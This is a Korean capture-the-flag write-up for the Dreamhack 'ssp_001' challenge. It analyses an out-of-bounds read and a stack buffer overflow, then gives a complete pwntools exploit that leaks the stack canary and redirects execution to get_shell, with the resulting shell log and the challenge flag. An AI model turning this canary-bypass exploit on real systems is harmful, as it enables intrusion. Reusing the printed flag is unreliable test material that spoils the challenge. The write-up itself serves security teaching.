Description

    이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
    프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
    “flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
    플래그의 형식은 DH{…} 입니다.

    Environment

    Ubuntu 16.04
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

    Files

    ubuntu@WSL2:~/CTF/dreamhack.io$ tree ssp_001
    ssp_001
    ├── ssp_001
    └── ssp_001.c
    
    0 directories, 2 files

    32비트 리눅스용 실행 파일 하나와 소스코드.

    분석

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int idx; // [esp+4h] [ebp-94h] BYREF
      size_t name_len; // [esp+8h] [ebp-90h] BYREF
      __int16 select; // [esp+Eh] [ebp-8Ah] BYREF
      char box[64]; // [esp+10h] [ebp-88h] BYREF
      char name[64]; // [esp+50h] [ebp-48h] BYREF
      unsigned int v9; // [esp+90h] [ebp-8h]
    
      v9 = __readgsdword(0x14u);
      memset(box, 0, sizeof(box));
      memset(name, 0, sizeof(name));
      select = 0;
      idx = 0;
      name_len = 0;
      initialize(argv);
      do
      {
        while ( 1 )
        {
          while ( 1 )
          {
            menu();
            read(0, &select, 2u);
            if ( (char)select != 70 )
              break;
            printf("box input : ");
            read(0, box, 0x40u);
          }
          if ( (char)select != 80 )
            break;
          printf("Element index : ");
          __isoc99_scanf("%d", &idx);
          print_box(box, idx);
        }
      }
      while ( (char)select != 69 );
      printf("Name Size : ");
      __isoc99_scanf("%d", &name_len);
      printf("Name : ");
      read(0, name, name_len);
      return 0;
    }

    먼저 menu() 함수를 통해 메뉴 목록이 출력되는데,

    [F]ill the box
    [P]rint the box
    [E]xit

    이렇게 3가지 메뉴가 존재한다.

    F를 입력할 경우, 64바이트만큼 read 함수를 통해 v7을 입력받을 수 있다.
    P를 입력할 경우, v7[v4] 1바이트를 출력시키게 되는데, 여기서 Out Of Boundary 취약점이 발생한다.
    E를 입력할 경우, Name Size와 Name을 입력받는데 Name을 Name Size만큼 입력받으므로, 여기서 Buffer Overflow 취약점이 발생한다.

    풀이

    위와 같은 스택 구조를 이루고 있다.

    [P]rint the box 메뉴로 Out Of Boundary 취약점을 이용하여,
    차례대로 Stack Canary, EBP, RET을 노출시킬 수 있다.
    [E]xit 메뉴를 통해 name을 입력받을때, 노출된 Stack Canary 값으로 보호기법을 우회하고 RET 주소를 get_shell 주소로 덮어쓰면 된다.

    Solution

    from pwn import *
    # context.log_level = 'debug'
    context(arch='amd64',os='linux')
    warnings.filterwarnings('ignore')
    
    p = remote('host3.dreamhack.games', 16560)
    #p = process('./ssp_001')
    e = ELF('./ssp_001')
    
    get_shell = e.symbols['get_shell']
    
    p.recvuntil(b'> ')
    
    # #Box Input, A*64
    # p.sendline(b'F')
    # p.recvuntil(b'box input : ')
    # p.sendline(b'\x41'*64)
    # p.recvuntil(b'> ')
    
    #Leak stack canary
    #128~131
    canary = ''
    for i in range(4):
        element_index = 128+i
        p.sendline(b'P')
        p.recvuntil(b'Element index : ')
        p.sendline(str(element_index))
        my_byte = p.recvline().split(b' : ')[1][:2]
        canary += my_byte.decode('utf-8')
        p.recvuntil(b'> ')
    canary = u32(bytes.fromhex(canary))
    print("[+] canary: " + hex(canary))
    
    #Leak Unknown address?
    #132~135
    unk = ''
    for i in range(4):
        element_index = 132+i
        p.sendline(b'P')
        p.recvuntil(b'Element index : ')
        p.sendline(str(element_index))
        my_byte = p.recvline().split(b' : ')[1][:2]
        unk += my_byte.decode('utf-8')
        p.recvuntil(b'> ')
    unk = u32(bytes.fromhex(unk))
    print("[+] unk: " + hex(unk))
    
    #Leak EBP
    #136 ~ 139
    ebp = ''
    for i in range(4):
        element_index = 136+i
        p.sendline(b'P')
        p.recvuntil(b'Element index : ')
        p.sendline(str(element_index))
        my_byte = p.recvline().split(b' : ')[1][:2]
        ebp += my_byte.decode('utf-8')
        p.recvuntil(b'> ')
    ebp = u32(bytes.fromhex(ebp))
    print("[+] ebp: " + hex(ebp))
    
    #Leak RET
    #140 ~ 143
    ret = ''
    for i in range(4):
        element_index = 140+i
        p.sendline(b'P')
        p.recvuntil(b'Element index : ')
        p.sendline(str(element_index))
        my_byte = p.recvline().split(b' : ')[1][:2]
        ret += my_byte.decode('utf-8')
        p.recvuntil(b'> ')
    ret = u32(bytes.fromhex(ret))
    print("[+] ret: " + hex(ret))
    
    #Name Size:
    p.sendline(b'E')
    p.recvuntil(b'Name Size : ')
    p.sendline(b'41414141')
    p.recvuntil(b'Name : ')
    payload = b"A"*64 + p32(canary) + p32(unk) + p32(ebp) + p32(get_shell)
    p.sendline(payload)
    #Done, get flag!
    p.interactive()
    
    # p.recvuntil(b'Addr : ')
    # p.sendline(str(stack_chk_fail_got))
    # p.recvuntil(b'Value : ')
    # p.sendline(str(get_shell))
    
    # p.interactive()
    

    FLAG

    DH{00c609773822372daf2b7ef9adbdb824}

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/ssp_001$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 18377: Done
    [*] '/home/ubuntu/Desktop/dreamhack-CTF/ssp_001/ssp_001'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    [+] canary: 0xdf15fe00
    [+] unk: 0xf7edc000
    [+] ebp: 0x0
    [+] ret: 0xf7d44647
    [*] Switching to interactive mode
    $ ls
    flag
    run.sh
    ssp_001
    $ cat flag
    DH{00c609773822372daf2b7ef9adbdb824}$
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 18377

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다